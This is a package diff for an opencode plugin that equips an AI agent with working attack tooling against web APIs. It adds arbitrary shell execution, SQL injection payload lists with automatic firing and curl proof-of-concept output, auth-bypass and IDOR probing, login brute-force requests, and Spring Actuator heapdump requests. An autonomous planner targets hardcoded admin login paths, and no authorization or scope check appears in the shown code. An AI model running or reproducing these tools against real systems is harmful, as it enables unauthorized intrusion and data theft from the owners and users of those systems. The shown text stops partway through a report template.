opencode-api-security-testing 5.4.9 → 5.4.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/index.ts +966 -19
package/package.json
CHANGED
package/src/index.ts
CHANGED
|
@@ -2,7 +2,7 @@ import type { Plugin, PluginInput } from "@opencode-ai/plugin";
|
|
|
2
2
|
import { tool } from "@opencode-ai/plugin";
|
|
3
3
|
import { join, dirname } from "path";
|
|
4
4
|
import { existsSync, readFileSync, writeFileSync, mkdirSync, readdirSync, unlinkSync } from "fs";
|
|
5
|
-
import { exec } from "child_process";
|
|
5
|
+
import { exec, spawn } from "child_process";
|
|
6
6
|
import { promisify } from "util";
|
|
7
7
|
|
|
8
8
|
const execAsync = promisify(exec);
|
|
@@ -610,24 +610,33 @@ function getInjectedAgentsPrompt(): string {
|
|
|
610
610
|
}
|
|
611
611
|
|
|
612
612
|
async function execShell(_ctx: unknown, cmd: string): Promise<string> {
|
|
613
|
-
|
|
614
|
-
const
|
|
615
|
-
|
|
616
|
-
|
|
617
|
-
|
|
613
|
+
return new Promise((resolve) => {
|
|
614
|
+
const isWindows = process.platform === "win32";
|
|
615
|
+
const shell = isWindows ? "powershell.exe" : "/bin/bash";
|
|
616
|
+
const args = isWindows ? ["-NoProfile", "-Command", cmd] : ["-c", cmd];
|
|
617
|
+
|
|
618
|
+
const proc = spawn(shell, args, {
|
|
619
|
+
timeout: 120000,
|
|
618
620
|
});
|
|
619
|
-
|
|
620
|
-
|
|
621
|
-
|
|
622
|
-
|
|
623
|
-
|
|
624
|
-
|
|
625
|
-
|
|
626
|
-
|
|
627
|
-
|
|
628
|
-
|
|
629
|
-
|
|
630
|
-
|
|
621
|
+
|
|
622
|
+
let stdout = "";
|
|
623
|
+
let stderr = "";
|
|
624
|
+
|
|
625
|
+
proc.stdout.on("data", (data) => { stdout += data; });
|
|
626
|
+
proc.stderr.on("data", (data) => { stderr += data; });
|
|
627
|
+
|
|
628
|
+
proc.on("close", (code) => {
|
|
629
|
+
if (code === 0 || stdout) {
|
|
630
|
+
resolve(stdout || stderr);
|
|
631
|
+
} else {
|
|
632
|
+
resolve(`Error (exit ${code}): ${stderr || "Unknown error"}`);
|
|
633
|
+
}
|
|
634
|
+
});
|
|
635
|
+
|
|
636
|
+
proc.on("error", (err) => {
|
|
637
|
+
resolve(`Error: ${err.message}`);
|
|
638
|
+
});
|
|
639
|
+
});
|
|
631
640
|
}
|
|
632
641
|
|
|
633
642
|
function getFailureCount(sessionID: string): number {
|
|
@@ -642,6 +651,272 @@ function resetFailureCount(sessionID: string): void {
|
|
|
642
651
|
sessionFailures.delete(sessionID);
|
|
643
652
|
}
|
|
644
653
|
|
|
654
|
+
// ============================================================================
|
|
655
|
+
// 渗透测试规划引擎 - 根据侦察结果生成测试计划
|
|
656
|
+
// ============================================================================
|
|
657
|
+
|
|
658
|
+
interface TestPlanItem {
|
|
659
|
+
id: string;
|
|
660
|
+
phase: string;
|
|
661
|
+
task: string;
|
|
662
|
+
tool: string;
|
|
663
|
+
params: Record<string, unknown>;
|
|
664
|
+
priority: "P0" | "P1" | "P2" | "P3";
|
|
665
|
+
status: "pending" | "running" | "done" | "skipped";
|
|
666
|
+
depends_on: string[];
|
|
667
|
+
reason: string;
|
|
668
|
+
}
|
|
669
|
+
|
|
670
|
+
function generateTestPlan(
|
|
671
|
+
target: string,
|
|
672
|
+
scope: string,
|
|
673
|
+
depth: string,
|
|
674
|
+
reconResults: Record<string, unknown>,
|
|
675
|
+
customRequirements: string,
|
|
676
|
+
): { target: string; scope: string; depth: string; plan: TestPlanItem[]; summary: Record<string, number> } {
|
|
677
|
+
const plan: TestPlanItem[] = [];
|
|
678
|
+
let id = 0;
|
|
679
|
+
|
|
680
|
+
// 分析侦察结果
|
|
681
|
+
const isSPA = reconResults.is_spa === true;
|
|
682
|
+
const apiCount = (reconResults.api_paths_found as number) || 0;
|
|
683
|
+
const framework = reconResults.framework || "Unknown";
|
|
684
|
+
const secChecks = (reconResults.security_checks as Array<{ endpoint: string; status: number }>) || [];
|
|
685
|
+
|
|
686
|
+
// 发现暴露的端点
|
|
687
|
+
const exposedEndpoints = secChecks.filter(c => c.status === 200);
|
|
688
|
+
const hasExposedEndpoints = exposedEndpoints.length > 0;
|
|
689
|
+
|
|
690
|
+
// Phase 1: 侦察 (始终需要)
|
|
691
|
+
plan.push({
|
|
692
|
+
id: `T${++id}`,
|
|
693
|
+
phase: "侦察",
|
|
694
|
+
task: "JS 文件分析 - 提取 API 端点",
|
|
695
|
+
tool: "js_parse",
|
|
696
|
+
params: { file_path: `${target}/js/app.*.js` },
|
|
697
|
+
priority: "P0",
|
|
698
|
+
status: "pending",
|
|
699
|
+
depends_on: [],
|
|
700
|
+
reason: isSPA ? "SPA 应用,需要从 JS 中提取所有 API 路径" : "分析 JS 文件中的 API 调用模式",
|
|
701
|
+
});
|
|
702
|
+
|
|
703
|
+
plan.push({
|
|
704
|
+
id: `T${++id}`,
|
|
705
|
+
phase: "侦察",
|
|
706
|
+
task: "API 端点发现 - 完整扫描",
|
|
707
|
+
tool: "endpoint_batch_test",
|
|
708
|
+
params: { base_url: target, endpoints: ["/api", "/admin", "/v1", "/v2"], methods: ["GET", "POST"] },
|
|
709
|
+
priority: "P0",
|
|
710
|
+
status: "pending",
|
|
711
|
+
depends_on: [],
|
|
712
|
+
reason: "发现所有可访问的 API 端点",
|
|
713
|
+
});
|
|
714
|
+
|
|
715
|
+
// Phase 2: 认证测试 (如果有登录接口)
|
|
716
|
+
if (scope === "full" || scope === "auth_only") {
|
|
717
|
+
plan.push({
|
|
718
|
+
id: `T${++id}`,
|
|
719
|
+
phase: "认证测试",
|
|
720
|
+
task: "登录接口 SQL 注入测试",
|
|
721
|
+
tool: "sql_injection_test",
|
|
722
|
+
params: { endpoint: `${target}/admin/upms/login/doLogin`, params: ["loginName", "password"], payload_type: "basic" },
|
|
723
|
+
priority: "P0",
|
|
724
|
+
status: "pending",
|
|
725
|
+
depends_on: ["T1"],
|
|
726
|
+
reason: "登录接口是最常见的 SQL 注入入口",
|
|
727
|
+
});
|
|
728
|
+
|
|
729
|
+
plan.push({
|
|
730
|
+
id: `T${++id}`,
|
|
731
|
+
phase: "认证测试",
|
|
732
|
+
task: "认证绕过测试",
|
|
733
|
+
tool: "auth_bypass_test",
|
|
734
|
+
params: { endpoint: `${target}/admin/upms/sysUser/list`, auth_type: "session" },
|
|
735
|
+
priority: "P1",
|
|
736
|
+
status: "pending",
|
|
737
|
+
depends_on: ["T1"],
|
|
738
|
+
reason: "测试是否可以绕过认证访问受保护资源",
|
|
739
|
+
});
|
|
740
|
+
|
|
741
|
+
plan.push({
|
|
742
|
+
id: `T${++id}`,
|
|
743
|
+
phase: "认证测试",
|
|
744
|
+
task: "暴力破解保护检测",
|
|
745
|
+
tool: "endpoint_batch_test",
|
|
746
|
+
params: { base_url: target, endpoints: Array(10).fill("/admin/upms/login/doLogin"), methods: ["POST"] },
|
|
747
|
+
priority: "P1",
|
|
748
|
+
status: "pending",
|
|
749
|
+
depends_on: ["T3"],
|
|
750
|
+
reason: "连续发送登录请求,检测是否有速率限制",
|
|
751
|
+
});
|
|
752
|
+
}
|
|
753
|
+
|
|
754
|
+
// Phase 3: 深度测试 (根据 depth 决定)
|
|
755
|
+
if (depth === "deep" || depth === "stealth") {
|
|
756
|
+
plan.push({
|
|
757
|
+
id: `T${++id}`,
|
|
758
|
+
phase: "深度测试",
|
|
759
|
+
task: "时间盲注 SQL 注入测试",
|
|
760
|
+
tool: "sql_injection_test",
|
|
761
|
+
params: { endpoint: `${target}/admin/upms/login/doLogin`, params: ["loginName"], payload_type: "time_based" },
|
|
762
|
+
priority: "P1",
|
|
763
|
+
status: "pending",
|
|
764
|
+
depends_on: ["T3"],
|
|
765
|
+
reason: "基础注入未发现时,测试时间盲注",
|
|
766
|
+
});
|
|
767
|
+
|
|
768
|
+
plan.push({
|
|
769
|
+
id: `T${++id}`,
|
|
770
|
+
phase: "深度测试",
|
|
771
|
+
task: "IDOR 越权测试",
|
|
772
|
+
tool: "auth_bypass_test",
|
|
773
|
+
params: { endpoint: `${target}/admin/upms/sysUser/view`, auth_type: "api_key" },
|
|
774
|
+
priority: "P1",
|
|
775
|
+
status: "pending",
|
|
776
|
+
depends_on: ["T4"],
|
|
777
|
+
reason: "测试用户数据接口是否存在 IDOR 越权",
|
|
778
|
+
});
|
|
779
|
+
}
|
|
780
|
+
|
|
781
|
+
// Phase 4: 如果发现暴露端点
|
|
782
|
+
if (hasExposedEndpoints) {
|
|
783
|
+
for (const ep of exposedEndpoints) {
|
|
784
|
+
plan.push({
|
|
785
|
+
id: `T${++id}`,
|
|
786
|
+
phase: "暴露端点测试",
|
|
787
|
+
task: `测试暴露端点: ${ep.endpoint}`,
|
|
788
|
+
tool: "endpoint_batch_test",
|
|
789
|
+
params: { base_url: target, endpoints: [ep.endpoint], methods: ["GET", "POST"] },
|
|
790
|
+
priority: "P0",
|
|
791
|
+
status: "pending",
|
|
792
|
+
depends_on: [],
|
|
793
|
+
reason: `端点 ${ep.endpoint} 返回 HTTP 200,可能存在信息泄露`,
|
|
794
|
+
});
|
|
795
|
+
}
|
|
796
|
+
}
|
|
797
|
+
|
|
798
|
+
// Phase 5: 报告生成 (始终最后)
|
|
799
|
+
plan.push({
|
|
800
|
+
id: `T${++id}`,
|
|
801
|
+
phase: "报告",
|
|
802
|
+
task: "生成渗透测试报告",
|
|
803
|
+
tool: "generate_pentest_report",
|
|
804
|
+
params: { target },
|
|
805
|
+
priority: "P2",
|
|
806
|
+
status: "pending",
|
|
807
|
+
depends_on: plan.map(t => t.id),
|
|
808
|
+
reason: "所有测试完成后生成最终报告",
|
|
809
|
+
});
|
|
810
|
+
|
|
811
|
+
// 统计
|
|
812
|
+
const summary = {
|
|
813
|
+
total_tasks: plan.length,
|
|
814
|
+
p0_tasks: plan.filter(t => t.priority === "P0").length,
|
|
815
|
+
p1_tasks: plan.filter(t => t.priority === "P1").length,
|
|
816
|
+
p2_tasks: plan.filter(t => t.priority === "P2").length,
|
|
817
|
+
phases: [...new Set(plan.map(t => t.phase))].length,
|
|
818
|
+
};
|
|
819
|
+
|
|
820
|
+
return {
|
|
821
|
+
target,
|
|
822
|
+
scope,
|
|
823
|
+
depth,
|
|
824
|
+
plan,
|
|
825
|
+
summary,
|
|
826
|
+
};
|
|
827
|
+
}
|
|
828
|
+
|
|
829
|
+
// ============================================================================
|
|
830
|
+
// 自主决策引擎 - 根据当前状态选择最优下一步
|
|
831
|
+
// ============================================================================
|
|
832
|
+
|
|
833
|
+
interface NextAction {
|
|
834
|
+
name: string;
|
|
835
|
+
tool: string;
|
|
836
|
+
params: Record<string, unknown>;
|
|
837
|
+
reason: string;
|
|
838
|
+
priority: "P0" | "P1" | "P2" | "P3";
|
|
839
|
+
}
|
|
840
|
+
|
|
841
|
+
function decideNextActions(state: {
|
|
842
|
+
target: string;
|
|
843
|
+
mode: string;
|
|
844
|
+
focus: string;
|
|
845
|
+
findings: Array<{ type: string; detail: string; severity: string }>;
|
|
846
|
+
completed_tasks: string[];
|
|
847
|
+
api_endpoints: string[];
|
|
848
|
+
auth_required: boolean;
|
|
849
|
+
tech_stack: string[];
|
|
850
|
+
recon_data: Record<string, unknown>;
|
|
851
|
+
}): NextAction[] {
|
|
852
|
+
const actions: NextAction[] = [];
|
|
853
|
+
const target = state.target;
|
|
854
|
+
|
|
855
|
+
// 规则 1: 如果发现 SQL 注入线索,深入测试
|
|
856
|
+
const sqliFindings = state.findings.filter(f => f.type === "sqli");
|
|
857
|
+
if (sqliFindings.length > 0) {
|
|
858
|
+
actions.push({
|
|
859
|
+
name: "深入 SQL 注入测试 (union/error_based)",
|
|
860
|
+
tool: "sql_injection_test",
|
|
861
|
+
params: { endpoint: `${target}/admin/upms/login/doLogin`, params: ["loginName"], payload_type: "union" },
|
|
862
|
+
reason: `已发现 ${sqliFindings.length} 个 SQL 注入线索,需要进一步验证`,
|
|
863
|
+
priority: "P0",
|
|
864
|
+
});
|
|
865
|
+
}
|
|
866
|
+
|
|
867
|
+
// 规则 2: 如果认证正常,尝试认证绕过
|
|
868
|
+
if (state.auth_required && !state.completed_tasks.includes("test_auth_bypass")) {
|
|
869
|
+
actions.push({
|
|
870
|
+
name: "认证绕过测试",
|
|
871
|
+
tool: "auth_bypass_test",
|
|
872
|
+
params: { endpoint: `${target}/admin/upms/sysUser/list`, auth_type: "session" },
|
|
873
|
+
reason: "目标需要认证,测试是否可以绕过",
|
|
874
|
+
priority: "P0",
|
|
875
|
+
});
|
|
876
|
+
}
|
|
877
|
+
|
|
878
|
+
// 规则 3: 如果有多个 API 端点,批量测试
|
|
879
|
+
if (state.api_endpoints.length > 5) {
|
|
880
|
+
const untestedEndpoints = state.api_endpoints.filter((ep: string) =>
|
|
881
|
+
!ep.includes("login") && !ep.includes("doLogin")
|
|
882
|
+
).slice(0, 10);
|
|
883
|
+
|
|
884
|
+
actions.push({
|
|
885
|
+
name: "批量 API 端点测试",
|
|
886
|
+
tool: "endpoint_batch_test",
|
|
887
|
+
params: { base_url: target, endpoints: untestedEndpoints, methods: ["GET", "POST"] },
|
|
888
|
+
reason: `发现 ${state.api_endpoints.length} 个 API 端点,需要批量检测认证和响应状态`,
|
|
889
|
+
priority: "P1",
|
|
890
|
+
});
|
|
891
|
+
}
|
|
892
|
+
|
|
893
|
+
// 规则 4: 如果技术栈包含 Java/Spring,测试 Actuator
|
|
894
|
+
if (state.tech_stack.some(t => t.includes("Spring") || t.includes("Element"))) {
|
|
895
|
+
actions.push({
|
|
896
|
+
name: "Spring Boot Actuator 端点测试",
|
|
897
|
+
tool: "endpoint_batch_test",
|
|
898
|
+
params: {
|
|
899
|
+
base_url: target,
|
|
900
|
+
endpoints: ["/actuator", "/actuator/env", "/actuator/health", "/actuator/mappings", "/actuator/heapdump"],
|
|
901
|
+
methods: ["GET"],
|
|
902
|
+
},
|
|
903
|
+
reason: "检测 Spring Boot Actuator 端点是否暴露",
|
|
904
|
+
priority: "P1",
|
|
905
|
+
});
|
|
906
|
+
}
|
|
907
|
+
|
|
908
|
+
// 规则 5: 生成报告
|
|
909
|
+
actions.push({
|
|
910
|
+
name: "生成渗透测试报告",
|
|
911
|
+
tool: "generate_pentest_report",
|
|
912
|
+
params: { target, findings: state.findings },
|
|
913
|
+
reason: "汇总所有测试结果",
|
|
914
|
+
priority: "P2",
|
|
915
|
+
});
|
|
916
|
+
|
|
917
|
+
return actions;
|
|
918
|
+
}
|
|
919
|
+
|
|
645
920
|
function detectGiveUpPattern(text: string): boolean {
|
|
646
921
|
return CYBER_SUPERVISOR.give_up_patterns.some(p =>
|
|
647
922
|
text.toLowerCase().includes(p.toLowerCase())
|
|
@@ -1267,7 +1542,7 @@ print(json.dumps(result, ensure_ascii=False))
|
|
|
1267
1542
|
total: scanTasks.size,
|
|
1268
1543
|
filtered: tasks.length,
|
|
1269
1544
|
tasks: tasks.map(t => ({
|
|
1270
|
-
|
|
1545
|
+
task_id: t.id,
|
|
1271
1546
|
status: t.status,
|
|
1272
1547
|
type: t.type,
|
|
1273
1548
|
target: t.target,
|
|
@@ -1279,6 +1554,678 @@ print(json.dumps(result, ensure_ascii=False))
|
|
|
1279
1554
|
},
|
|
1280
1555
|
}),
|
|
1281
1556
|
|
|
1557
|
+
// ========================================
|
|
1558
|
+
// 渗透测试增强工具
|
|
1559
|
+
// ========================================
|
|
1560
|
+
|
|
1561
|
+
// 批量端点测试
|
|
1562
|
+
endpoint_batch_test: tool({
|
|
1563
|
+
description: "批量测试多个 API 端点。参数: base_url(基础URL), endpoints(端点列表), methods(HTTP方法列表)",
|
|
1564
|
+
args: {
|
|
1565
|
+
base_url: tool.schema.string(),
|
|
1566
|
+
endpoints: tool.schema.array(tool.schema.string()),
|
|
1567
|
+
methods: tool.schema.array(tool.schema.enum(["GET", "POST", "PUT", "DELETE"])).optional(),
|
|
1568
|
+
headers: tool.schema.record(tool.schema.string()).optional(),
|
|
1569
|
+
},
|
|
1570
|
+
async execute(args) {
|
|
1571
|
+
const results: Array<{
|
|
1572
|
+
endpoint: string;
|
|
1573
|
+
method: string;
|
|
1574
|
+
status: number;
|
|
1575
|
+
response_time: number;
|
|
1576
|
+
auth_required: boolean;
|
|
1577
|
+
content_length: number;
|
|
1578
|
+
error?: string;
|
|
1579
|
+
}> = [];
|
|
1580
|
+
|
|
1581
|
+
const baseUrl = args.base_url.replace(/\/$/, "");
|
|
1582
|
+
const methods = args.methods || ["GET"];
|
|
1583
|
+
const headers = args.headers || {};
|
|
1584
|
+
|
|
1585
|
+
for (const endpoint of args.endpoints) {
|
|
1586
|
+
for (const method of methods) {
|
|
1587
|
+
const startTime = Date.now();
|
|
1588
|
+
try {
|
|
1589
|
+
const url = method === "GET"
|
|
1590
|
+
? `${baseUrl}${endpoint}`
|
|
1591
|
+
: baseUrl;
|
|
1592
|
+
|
|
1593
|
+
const fetchOptions: RequestInit = {
|
|
1594
|
+
method,
|
|
1595
|
+
headers: { "Content-Type": "application/json", ...headers },
|
|
1596
|
+
};
|
|
1597
|
+
|
|
1598
|
+
if (["POST", "PUT", "PATCH"].includes(method)) {
|
|
1599
|
+
fetchOptions.body = JSON.stringify({});
|
|
1600
|
+
}
|
|
1601
|
+
|
|
1602
|
+
const response = await fetch(url, fetchOptions);
|
|
1603
|
+
const responseTime = Date.now() - startTime;
|
|
1604
|
+
const contentLength = parseInt(response.headers.get("content-length") || "0");
|
|
1605
|
+
|
|
1606
|
+
results.push({
|
|
1607
|
+
endpoint,
|
|
1608
|
+
method,
|
|
1609
|
+
status: response.status,
|
|
1610
|
+
response_time: responseTime,
|
|
1611
|
+
auth_required: response.status === 401 || response.status === 403,
|
|
1612
|
+
content_length: contentLength,
|
|
1613
|
+
});
|
|
1614
|
+
} catch (error) {
|
|
1615
|
+
results.push({
|
|
1616
|
+
endpoint,
|
|
1617
|
+
method,
|
|
1618
|
+
status: 0,
|
|
1619
|
+
response_time: Date.now() - startTime,
|
|
1620
|
+
auth_required: false,
|
|
1621
|
+
content_length: 0,
|
|
1622
|
+
error: String(error),
|
|
1623
|
+
});
|
|
1624
|
+
}
|
|
1625
|
+
}
|
|
1626
|
+
}
|
|
1627
|
+
|
|
1628
|
+
// 生成摘要
|
|
1629
|
+
const summary = {
|
|
1630
|
+
total: results.length,
|
|
1631
|
+
success: results.filter(r => r.status >= 200 && r.status < 300).length,
|
|
1632
|
+
auth_required: results.filter(r => r.auth_required).length,
|
|
1633
|
+
client_errors: results.filter(r => r.status >= 400 && r.status < 500).length,
|
|
1634
|
+
server_errors: results.filter(r => r.status >= 500).length,
|
|
1635
|
+
};
|
|
1636
|
+
|
|
1637
|
+
return JSON.stringify({ summary, results }, null, 2);
|
|
1638
|
+
},
|
|
1639
|
+
}),
|
|
1640
|
+
|
|
1641
|
+
// SQL 注入深度测试
|
|
1642
|
+
sql_injection_test: tool({
|
|
1643
|
+
description: "SQL 注入漏洞深度测试。参数: endpoint(端点URL), params(参数列表), method(HTTP方法), payload_type(注入类型)",
|
|
1644
|
+
args: {
|
|
1645
|
+
endpoint: tool.schema.string(),
|
|
1646
|
+
params: tool.schema.array(tool.schema.string()),
|
|
1647
|
+
method: tool.schema.enum(["GET", "POST"]).optional(),
|
|
1648
|
+
payload_type: tool.schema.enum(["basic", "time_based", "union", "error_based"]).optional(),
|
|
1649
|
+
},
|
|
1650
|
+
async execute(args) {
|
|
1651
|
+
const payloads: Record<string, string[]> = {
|
|
1652
|
+
basic: [
|
|
1653
|
+
"' OR '1'='1",
|
|
1654
|
+
"1' OR '1'='1'--",
|
|
1655
|
+
"1' OR '1'='1'/*",
|
|
1656
|
+
"admin'--",
|
|
1657
|
+
"' OR 1=1--",
|
|
1658
|
+
],
|
|
1659
|
+
time_based: [
|
|
1660
|
+
"1'; WAITFOR DELAY '0:0:3'--",
|
|
1661
|
+
"1' AND SLEEP(3)--",
|
|
1662
|
+
"1' AND (SELECT * FROM (SELECT(SLEEP(3)))a)--",
|
|
1663
|
+
],
|
|
1664
|
+
union: [
|
|
1665
|
+
"1' UNION SELECT NULL--",
|
|
1666
|
+
"1' UNION SELECT NULL,NULL--",
|
|
1667
|
+
"1' UNION SELECT NULL,NULL,NULL--",
|
|
1668
|
+
],
|
|
1669
|
+
error_based: [
|
|
1670
|
+
"1' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--",
|
|
1671
|
+
"1' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))--",
|
|
1672
|
+
],
|
|
1673
|
+
};
|
|
1674
|
+
|
|
1675
|
+
const results: Array<{
|
|
1676
|
+
param: string;
|
|
1677
|
+
payload: string;
|
|
1678
|
+
vulnerable: boolean;
|
|
1679
|
+
evidence: string;
|
|
1680
|
+
response_time?: number;
|
|
1681
|
+
}> = [];
|
|
1682
|
+
|
|
1683
|
+
const method = args.method || "POST";
|
|
1684
|
+
const payloadType = args.payload_type || "basic";
|
|
1685
|
+
const testPayloads = payloads[payloadType];
|
|
1686
|
+
|
|
1687
|
+
for (const param of args.params) {
|
|
1688
|
+
for (const payload of testPayloads) {
|
|
1689
|
+
const startTime = Date.now();
|
|
1690
|
+
try {
|
|
1691
|
+
const url = method === "GET"
|
|
1692
|
+
? `${args.endpoint}?${param}=${encodeURIComponent(payload)}`
|
|
1693
|
+
: args.endpoint;
|
|
1694
|
+
|
|
1695
|
+
const body = method === "POST"
|
|
1696
|
+
? JSON.stringify({ [param]: payload })
|
|
1697
|
+
: undefined;
|
|
1698
|
+
|
|
1699
|
+
const response = await fetch(url, {
|
|
1700
|
+
method,
|
|
1701
|
+
headers: { "Content-Type": "application/json" },
|
|
1702
|
+
body,
|
|
1703
|
+
});
|
|
1704
|
+
|
|
1705
|
+
const responseText = await response.text();
|
|
1706
|
+
const responseTime = Date.now() - startTime;
|
|
1707
|
+
|
|
1708
|
+
// 检测 SQL 注入指标
|
|
1709
|
+
const indicators = [
|
|
1710
|
+
responseText.toLowerCase().includes("sql syntax"),
|
|
1711
|
+
responseText.toLowerCase().includes("mysql_fetch"),
|
|
1712
|
+
responseText.toLowerCase().includes("ora-"),
|
|
1713
|
+
responseText.toLowerCase().includes("unclosed quotation"),
|
|
1714
|
+
responseText.toLowerCase().includes("quoted string not properly terminated"),
|
|
1715
|
+
responseTime > 3000 && payloadType === "time_based",
|
|
1716
|
+
];
|
|
1717
|
+
|
|
1718
|
+
const vulnerable = indicators.some(Boolean);
|
|
1719
|
+
|
|
1720
|
+
results.push({
|
|
1721
|
+
param,
|
|
1722
|
+
payload,
|
|
1723
|
+
vulnerable,
|
|
1724
|
+
evidence: vulnerable ? responseText.substring(0, 200) : "",
|
|
1725
|
+
response_time: responseTime,
|
|
1726
|
+
});
|
|
1727
|
+
} catch (error) {
|
|
1728
|
+
results.push({
|
|
1729
|
+
param,
|
|
1730
|
+
payload,
|
|
1731
|
+
vulnerable: false,
|
|
1732
|
+
evidence: `Error: ${error}`,
|
|
1733
|
+
});
|
|
1734
|
+
}
|
|
1735
|
+
}
|
|
1736
|
+
}
|
|
1737
|
+
|
|
1738
|
+
const vulnerableParams = results.filter(r => r.vulnerable);
|
|
1739
|
+
|
|
1740
|
+
return JSON.stringify({
|
|
1741
|
+
summary: {
|
|
1742
|
+
tested_params: args.params.length,
|
|
1743
|
+
total_payloads: testPayloads.length,
|
|
1744
|
+
vulnerable_count: vulnerableParams.length,
|
|
1745
|
+
risk_level: vulnerableParams.length > 0 ? "HIGH" : "LOW",
|
|
1746
|
+
},
|
|
1747
|
+
vulnerable: vulnerableParams,
|
|
1748
|
+
all_results: results,
|
|
1749
|
+
poc: vulnerableParams.length > 0
|
|
1750
|
+
? `curl -X ${method} "${args.endpoint}" ${method === "POST" ? `-H "Content-Type: application/json" -d '{"${vulnerableParams[0].param}": "${vulnerableParams[0].payload}"}'` : ""}`
|
|
1751
|
+
: null,
|
|
1752
|
+
}, null, 2);
|
|
1753
|
+
},
|
|
1754
|
+
}),
|
|
1755
|
+
|
|
1756
|
+
// 认证绕过测试
|
|
1757
|
+
auth_bypass_test: tool({
|
|
1758
|
+
description: "认证绕过漏洞测试。参数: endpoint(端点URL), auth_type(认证类型), token(可选)",
|
|
1759
|
+
args: {
|
|
1760
|
+
endpoint: tool.schema.string(),
|
|
1761
|
+
auth_type: tool.schema.enum(["jwt", "session", "basic", "api_key", "oauth"]).optional(),
|
|
1762
|
+
token: tool.schema.string().optional(),
|
|
1763
|
+
},
|
|
1764
|
+
async execute(args) {
|
|
1765
|
+
const results: Array<{
|
|
1766
|
+
test_name: string;
|
|
1767
|
+
success: boolean;
|
|
1768
|
+
evidence: string;
|
|
1769
|
+
}> = [];
|
|
1770
|
+
|
|
1771
|
+
// 1. 无认证测试
|
|
1772
|
+
const noAuthResponse = await fetch(args.endpoint);
|
|
1773
|
+
results.push({
|
|
1774
|
+
test_name: "无认证访问",
|
|
1775
|
+
success: noAuthResponse.status === 200,
|
|
1776
|
+
evidence: `Status: ${noAuthResponse.status}`,
|
|
1777
|
+
});
|
|
1778
|
+
|
|
1779
|
+
// 2. 空令牌测试
|
|
1780
|
+
const emptyTokenResponse = await fetch(args.endpoint, {
|
|
1781
|
+
headers: {
|
|
1782
|
+
"Authorization": "Bearer ",
|
|
1783
|
+
"X-API-Key": "",
|
|
1784
|
+
},
|
|
1785
|
+
});
|
|
1786
|
+
results.push({
|
|
1787
|
+
test_name: "空令牌测试",
|
|
1788
|
+
success: emptyTokenResponse.status === 200,
|
|
1789
|
+
evidence: `Status: ${emptyTokenResponse.status}`,
|
|
1790
|
+
});
|
|
1791
|
+
|
|
1792
|
+
// 3. IDOR 测试 (递增 ID)
|
|
1793
|
+
for (let i = 1; i <= 5; i++) {
|
|
1794
|
+
const idorUrl = `${args.endpoint.replace(/\/$/, "")}?userId=${i}&id=${i}`;
|
|
1795
|
+
try {
|
|
1796
|
+
const idorResponse = await fetch(idorUrl);
|
|
1797
|
+
if (idorResponse.status === 200) {
|
|
1798
|
+
results.push({
|
|
1799
|
+
test_name: `IDOR 测试 (id=${i})`,
|
|
1800
|
+
success: true,
|
|
1801
|
+
evidence: `可访问其他用户数据: ${idorUrl}`,
|
|
1802
|
+
});
|
|
1803
|
+
break;
|
|
1804
|
+
}
|
|
1805
|
+
} catch (e) {
|
|
1806
|
+
// Ignore errors
|
|
1807
|
+
}
|
|
1808
|
+
}
|
|
1809
|
+
|
|
1810
|
+
// 4. 方法覆盖测试
|
|
1811
|
+
const methods = ["PUT", "PATCH", "DELETE"];
|
|
1812
|
+
for (const method of methods) {
|
|
1813
|
+
try {
|
|
1814
|
+
const methodResponse = await fetch(args.endpoint, {
|
|
1815
|
+
method,
|
|
1816
|
+
headers: { "Content-Type": "application/json" },
|
|
1817
|
+
});
|
|
1818
|
+
if (methodResponse.status === 200) {
|
|
1819
|
+
results.push({
|
|
1820
|
+
test_name: `方法覆盖测试 (${method})`,
|
|
1821
|
+
success: true,
|
|
1822
|
+
evidence: `允许 ${method} 方法访问`,
|
|
1823
|
+
});
|
|
1824
|
+
}
|
|
1825
|
+
} catch (e) {
|
|
1826
|
+
// Ignore errors
|
|
1827
|
+
}
|
|
1828
|
+
}
|
|
1829
|
+
|
|
1830
|
+
const bypassFound = results.filter(r => r.success);
|
|
1831
|
+
|
|
1832
|
+
return JSON.stringify({
|
|
1833
|
+
summary: {
|
|
1834
|
+
total_tests: results.length,
|
|
1835
|
+
bypass_found: bypassFound.length,
|
|
1836
|
+
risk_level: bypassFound.length > 0 ? "HIGH" : "LOW",
|
|
1837
|
+
},
|
|
1838
|
+
results,
|
|
1839
|
+
recommendations: bypassFound.length > 0
|
|
1840
|
+
? ["实施严格的认证检查", "验证所有用户输入", "使用 CSRF Token"]
|
|
1841
|
+
: ["认证机制正常"],
|
|
1842
|
+
}, null, 2);
|
|
1843
|
+
},
|
|
1844
|
+
}),
|
|
1845
|
+
|
|
1846
|
+
// 专业渗透测试报告生成
|
|
1847
|
+
generate_pentest_report: tool({
|
|
1848
|
+
description: "生成专业的渗透测试报告。参数: target(目标), findings(发现列表), test_date(日期), tester(测试人员)",
|
|
1849
|
+
args: {
|
|
1850
|
+
target: tool.schema.string(),
|
|
1851
|
+
findings: tool.schema.array(tool.schema.object({
|
|
1852
|
+
title: tool.schema.string(),
|
|
1853
|
+
severity: tool.schema.enum(["Critical", "High", "Medium", "Low", "Info"]),
|
|
1854
|
+
description: tool.schema.string(),
|
|
1855
|
+
evidence: tool.schema.string(),
|
|
1856
|
+
poc: tool.schema.string(),
|
|
1857
|
+
remediation: tool.schema.string(),
|
|
1858
|
+
})),
|
|
1859
|
+
test_date: tool.schema.string().optional(),
|
|
1860
|
+
tester: tool.schema.string().optional(),
|
|
1861
|
+
},
|
|
1862
|
+
async execute(args) {
|
|
1863
|
+
const criticalCount = args.findings.filter(f => f.severity === "Critical").length;
|
|
1864
|
+
const highCount = args.findings.filter(f => f.severity === "High").length;
|
|
1865
|
+
const mediumCount = args.findings.filter(f => f.severity === "Medium").length;
|
|
1866
|
+
const lowCount = args.findings.filter(f => f.severity === "Low").length;
|
|
1867
|
+
const infoCount = args.findings.filter(f => f.severity === "Info").length;
|
|
1868
|
+
|
|
1869
|
+
const riskScore = (criticalCount * 10) + (highCount * 5) + (mediumCount * 2);
|
|
1870
|
+
const overallRisk = riskScore >= 20 ? "严重" : riskScore >= 10 ? "高" : riskScore >= 5 ? "中" : "低";
|
|
1871
|
+
|
|
1872
|
+
const report = `# 渗透测试报告
|
|
1873
|
+
|
|
1874
|
+
## 1. 执行摘要
|
|
1875
|
+
|
|
